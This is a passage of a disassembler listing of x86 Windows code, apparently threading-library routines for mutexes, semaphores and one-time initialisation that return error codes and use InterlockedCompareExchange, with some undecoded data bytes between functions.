		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 27405CEh
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		call	near ptr 2740586h
		nop
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27C093Ah
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		call	near ptr 2740586h
		nop
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_433F65
		nop
		call	near ptr 27C093Ah
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		nop
		call	near ptr 2830000h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2740000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 2830906h
		nop
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 2770421h
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h,	0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2730D9Dh
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		call	near ptr 2730D9Dh
		nop
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2770421h
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		call	near ptr 2730D9Dh
		nop
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510960
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510960
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510960
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C1A1E890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
